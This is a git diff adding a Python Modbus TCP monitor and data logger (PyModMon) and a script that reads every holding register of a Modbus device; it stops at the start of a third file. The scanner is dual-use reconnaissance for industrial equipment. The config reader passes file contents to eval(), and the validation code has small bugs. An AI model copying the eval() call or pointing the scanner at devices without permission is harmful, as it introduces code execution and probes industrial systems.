## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave 